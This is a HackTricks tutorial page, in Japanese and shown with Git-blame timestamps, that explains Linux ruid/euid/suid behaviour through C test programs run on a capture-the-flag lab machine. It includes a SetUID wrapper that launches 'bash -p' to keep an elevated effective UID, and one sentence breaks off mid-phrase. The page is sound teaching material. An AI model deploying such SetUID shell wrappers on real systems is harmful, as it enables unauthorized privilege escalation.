hacktricks/linux-hardening/privilege-escalation/euid-ruid-suid.md

208 lines
14 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# euid、ruid、suid
2022-05-31 22:22:36 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
2022-05-31 22:22:36 +00:00
</details>
2023-07-07 23:42:27 +00:00
**この投稿は、**[**https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail**](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail)**からコピーされました**
2022-05-31 22:22:36 +00:00
## **`*uid`**
2023-07-07 23:42:27 +00:00
* **`ruid`**: これはプロセスを開始したユーザーの**実ユーザーID**です。
* **`euid`**: これは**有効なユーザーID**であり、システムは**プロセスがどの特権を持つかを決定する**際に参照します。ほとんどの場合、`euid`は`ruid`と同じになりますが、SetUIDバイナリはこの場合と異なる例です。SetUIDバイナリが起動すると、**`euid`はファイルの所有者に設定され**、これによりこれらのバイナリが機能することができます。
* `suid`: これは**保存されたユーザーID**であり、特権プロセスほとんどの場合はrootとして実行されるが一部の動作を行うために**特権を降下**する必要があるが、その後**特権状態に戻る**必要がある場合に使用されます。
2022-05-31 22:22:36 +00:00
{% hint style="info" %}
2023-07-07 23:42:27 +00:00
**非ルートプロセス**が**`euid`を変更**したい場合、**現在の`ruid`**、**`euid`**、または**`suid`**の値に**設定**することしかできません。
2022-05-31 22:22:36 +00:00
{% endhint %}
## set\*uid
2023-07-07 23:42:27 +00:00
最初に見ると、**`setuid`**システムコールは`ruid`を設定すると思われるかもしれません。実際には、特権プロセスの場合はそうです。しかし、一般的な場合では、実際には**`euid`を設定**します。[manページ](https://man7.org/linux/man-pages/man2/setuid.2.html)から:
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
> setuid()は、**呼び出し元プロセスの有効なユーザーIDを設定**します。呼び出し元プロセスが特権を持っている場合より正確には、プロセスがユーザーネームスペースのCAP\_SETUID機能を持っている場合、実ユーザーIDと保存された設定ユーザーIDも設定されます。
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
したがって、rootとして`setuid(0)`を実行している場合、これはすべてのIDをrootに設定し、基本的にそれらをロックします`suid`が0であるため、以前のユーザーの情報は失われます - もちろん、rootプロセスは任意のユーザーに変更できます
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
2つの一般的でないシステムコール、**`setreuid`**`re`は実ユーザーIDと有効ユーザーIDを表すと**`setresuid`**`res`には保存されたユーザーIDも含まれるは、特定のIDを設定します。特権のないプロセスでは、これらの呼び出しは制限されます`setresuid`の[manページ](https://man7.org/linux/man-pages/man2/setresuid.2.html)に記載されていますが、`setreuid`の[ページ](https://man7.org/linux/man-pages/man2/setreuid.2.html)にも似たような言語があります):
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
> 特権のないプロセスLinuxでは、CAP\_SETUID機能を持つプロセスは、実ユーザーID、有効ユーザーID、保存された設定ユーザーIDを、現在の実ユーザーID、現在の有効ユーザーID、または現在の保存された設定ユーザーIDのいずれかに変更できます。
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
これらはセキュリティ機能としてではなく、意図したワークフローを反映するために存在していることを覚えておくことが重要です。プログラムが別のユーザーに変更する場合、有効なユーザーIDを変更してそのユーザーとして動作できるようにします。
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
攻撃者としては、最も一般的なケースがrootに移動することなので、`setuid`を呼び出すだけの悪い習慣に陥りやすいです。その場合、`setuid`は事実上`setresuid`と同じです。
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
## 実行
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
### **execveおよび他のexecs**
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
`execve`システムコールは、最初の引数で指定されたプログラムを実行します。2番目と3番目の引数は配列であり、引数`argv`)と環境(`envp`)です。`execve`に基づいていくつかの他のシステムコールがあり、`exec`[manページ](https://man7.org/linux/man-pages/man3/exec.3.html))と呼ばれます。これらはすべて、`execve`を呼び出すための略記法を提供するためのラッパーです。
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
[manページ](https://man7.org/linux/man-pages/man2/execve.2.html)には、その動作に関する詳細がたくさんあります。要するに、**`execve`がプログラムを開始すると、呼び出し元プログラムと同じメモリスペースを使用**し、その
2022-05-31 22:22:36 +00:00
### **system**
2023-07-07 23:42:27 +00:00
`system`は、新しいプロセスを開始するための[完全に異なるアプローチ](https://man7.org/linux/man-pages/man3/system.3.html)です。`execve`が同じプロセス内でプロセスレベルで動作するのに対して、**`system`は`fork`を使用して子プロセスを作成し、その子プロセスで`execl`を使用して実行します**
2022-05-31 22:22:36 +00:00
> ```
> execl("/bin/sh", "sh", "-c", command, (char *) NULL);
> ```
2023-07-07 23:42:27 +00:00
`execl`は、文字列引数を`argv`配列に変換し、`execve`を呼び出すラッパーです。重要な点は、**`system`がコマンドを呼び出すために`sh`を使用する**ということです。
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
### shとbashのSUID <a href="#sh-and-bash-suid" id="sh-and-bash-suid"></a>
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
**`bash`**には**`-p`オプション**があり、[manページ](https://linux.die.net/man/1/bash)では次のように説明されています:
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
> 特権モードをオンにします。このモードでは、**$ENV**と**$BASH\_ENV**ファイルは処理されず、シェル関数は環境から継承されず、環境に**SHELLOPTS**、**BASHOPTS**、**CDPATH**、**GLOBIGNORE**変数が含まれている場合は無視されます。シェルが実効ユーザーグループIDが実ユーザーグループIDと等しくない場合、かつ**-pオプションが指定されていない**場合、これらの操作が実行され、**実効ユーザーIDが実ユーザーIDに設定されます**。起動時に**-p**オプション**が指定された場合、実効ユーザーIDはリセットされません**。このオプションをオフにすると、実効ユーザーIDとグループIDが実ユーザーIDとグループIDに設定されます。
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
要するに、`-p`を指定しない場合、Bashが実行されると`euid`は`ruid`に設定されます。**`-p`はこれを防ぎます**。
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
**`sh`**シェルにはこのような機能はありません。[manページ](https://man7.org/linux/man-pages/man1/sh.1p.html)では、「ユーザーID」という言葉は言及されておらず、`-i`オプションのみが以下のように述べています:
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
> \-i シェルが対話的であることを指定します。以下を参照してください。呼び出し元のプロセスの実ユーザーIDが実効ユーザーIDと等しくない場合、または実グループIDが実効グループIDと等しくない場合、実装は-iオプションの指定をエラーとして扱う場合があります。
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
## テスト
2022-05-31 22:22:36 +00:00
### setuid / system <a href="#setuid--system" id="setuid--system"></a>
2023-07-07 23:42:27 +00:00
この背景を踏まえて、JailHTBでこのコードを実行し、何が起こるかを説明します
2022-05-31 22:22:36 +00:00
```c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
2023-07-07 23:42:27 +00:00
setuid(1000);
system("id");
return 0;
2022-05-31 22:22:36 +00:00
}
```
2023-07-07 23:42:27 +00:00
このプログラムは、NFS上のJailでコンパイルされ、SetUIDとして設定されています。
2022-05-31 22:22:36 +00:00
```bash
oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a;
...[snip]...
oxdf@hacky$ chmod 4755 /mnt/nfsshare/a
```
As root, I can see this file:
```
2023-07-07 23:42:27 +00:00
[root@localhost nfsshare]# ls -l a
2022-05-31 22:22:36 +00:00
-rwsr-xr-x. 1 frank frank 16736 May 30 04:58 a
```
2023-07-07 23:42:27 +00:00
以下のコマンドを nobody として実行すると、`id` コマンドも nobody として実行されます:
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
```bash
$ sudo -u nobody id
```
2022-05-31 22:22:36 +00:00
```bash
bash-4.2$ $ ./a
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
```
2023-07-07 23:42:27 +00:00
プログラムは、`ruid`が99nobodyであり、`euid`が1000frankで開始されます。`setuid`呼び出しに到達すると、同じ値が設定されます。
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
その後、`system`が呼び出され、`uid`が99であることを期待していますが、`euid`も1000であるはずです。なぜそうならないのでしょうかこのディストリビューションでは、**`sh`が`bash`にシンボリックリンクされている**ため、そのような結果になります。
2022-05-31 22:22:36 +00:00
```
$ ls -l /bin/sh
lrwxrwxrwx. 1 root root 4 Jun 25 2017 /bin/sh -> bash
```
2023-07-07 23:42:27 +00:00
したがって、`system`は`/bin/sh sh -c id`を呼び出し、実質的には`/bin/bash bash -c id`となります。`bash`が呼び出されると、`-p`オプションがないため、`ruid`が99で`euid`が1000であることがわかり、`euid`が99に設定されます。
2022-05-31 22:22:36 +00:00
### setreuid / system <a href="#setreuid--system" id="setreuid--system"></a>
2023-07-07 23:42:27 +00:00
この理論をテストするために、`setuid`を`setreuid`で置き換えてみます:
2022-05-31 22:22:36 +00:00
```c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
2023-07-07 23:42:27 +00:00
setreuid(1000, 1000);
system("id");
return 0;
2022-05-31 22:22:36 +00:00
}
```
2023-07-07 23:42:27 +00:00
コンパイルとパーミッション:
2022-05-31 22:22:36 +00:00
```
oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b
```
2023-07-07 23:42:27 +00:00
現在、Jail内にいるため、`id`コマンドを実行すると、uidが1000と返されます。
2022-05-31 22:22:36 +00:00
```
bash-4.2$ $ ./b
uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
```
2023-07-07 23:42:27 +00:00
`setreuid`呼び出しは、`ruid`と`euid`の両方を1000に設定します。したがって、`system`が`bash`を呼び出したとき、それらは一致し、事はfrankのまま続きます。
2022-05-31 22:22:36 +00:00
### setuid / execve <a href="#setuid--execve" id="setuid--execve"></a>
2023-07-07 23:42:27 +00:00
上記の理解が正しい場合、uidをいじることを心配する必要はなく、代わりに`execve`を呼び出すこともできます。これにより、既存のIDが引き継がれます。これは機能しますが、トラップもあります。たとえば、一般的なコードは次のようになります
2022-05-31 22:22:36 +00:00
```c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
2023-07-07 23:42:27 +00:00
setuid(1000);
execve("/usr/bin/id", NULL, NULL);
return 0;
2022-05-31 22:22:36 +00:00
}
```
2023-07-07 23:42:27 +00:00
環境変数は使用しないため単純化のためにNULLを渡しています、`id`には完全なパスが必要です。これは動作し、期待どおりの結果を返します。
2022-05-31 22:22:36 +00:00
```
bash-4.2$ $ ./c
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
```
2023-07-07 23:42:27 +00:00
`[r]uid`は99ですが、`euid`は1000です。
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
これからシェルを取得しようとする場合、注意が必要です。例えば、単に`bash`を呼び出すだけでは:
2022-05-31 22:22:36 +00:00
```c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
2023-07-07 23:42:27 +00:00
setuid(1000);
execve("/bin/bash", NULL, NULL);
return 0;
2022-05-31 22:22:36 +00:00
}
```
2023-07-07 23:42:27 +00:00
私はそれをコンパイルし、SetUIDを設定します。
2022-05-31 22:22:36 +00:00
```
oxdf@hacky$ gcc d.c -o /mnt/nfsshare/d
oxdf@hacky$ chmod 4755 /mnt/nfsshare/d
```
2023-07-07 23:42:27 +00:00
まだ、これはすべてのnobodyを返します
2022-05-31 22:22:36 +00:00
```
bash-4.2$ $ ./d
bash-4.2$ $ id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
```
2023-07-07 23:42:27 +00:00
もし `setuid(0)` だったら、プロセスがそれを行う権限を持っていると仮定すれば問題なく動作するでしょう。その場合、すべての3つのIDが0に変更されます。しかし、非ルートユーザーの場合、これは単に `euid` を1000に設定し既にそうであった場合、`sh` を呼び出します。しかし、Jailでは `sh``bash` です。そして、`bash` が `ruid` が99で `euid` が1000で起動すると、`euid` は99に戻されます。
2022-05-31 22:22:36 +00:00
2023-07-07 23:42:27 +00:00
これを修正するために、`bash -p` を呼び出します:
2022-05-31 22:22:36 +00:00
```c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
2023-07-07 23:42:27 +00:00
char *const paramList[10] = {"/bin/bash", "-p", NULL};
setuid(1000);
execve(paramList[0], paramList, NULL);
return 0;
2022-05-31 22:22:36 +00:00
}
```
2023-07-07 23:42:27 +00:00
今回は、`euid` が存在します:
2022-05-31 22:22:36 +00:00
```
bash-4.2$ $ ./e
bash-4.2$ $ id
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
```
2023-07-07 23:42:27 +00:00
または、`setuid`の代わりに`setreuid`または`setresuid`を呼び出すこともできます。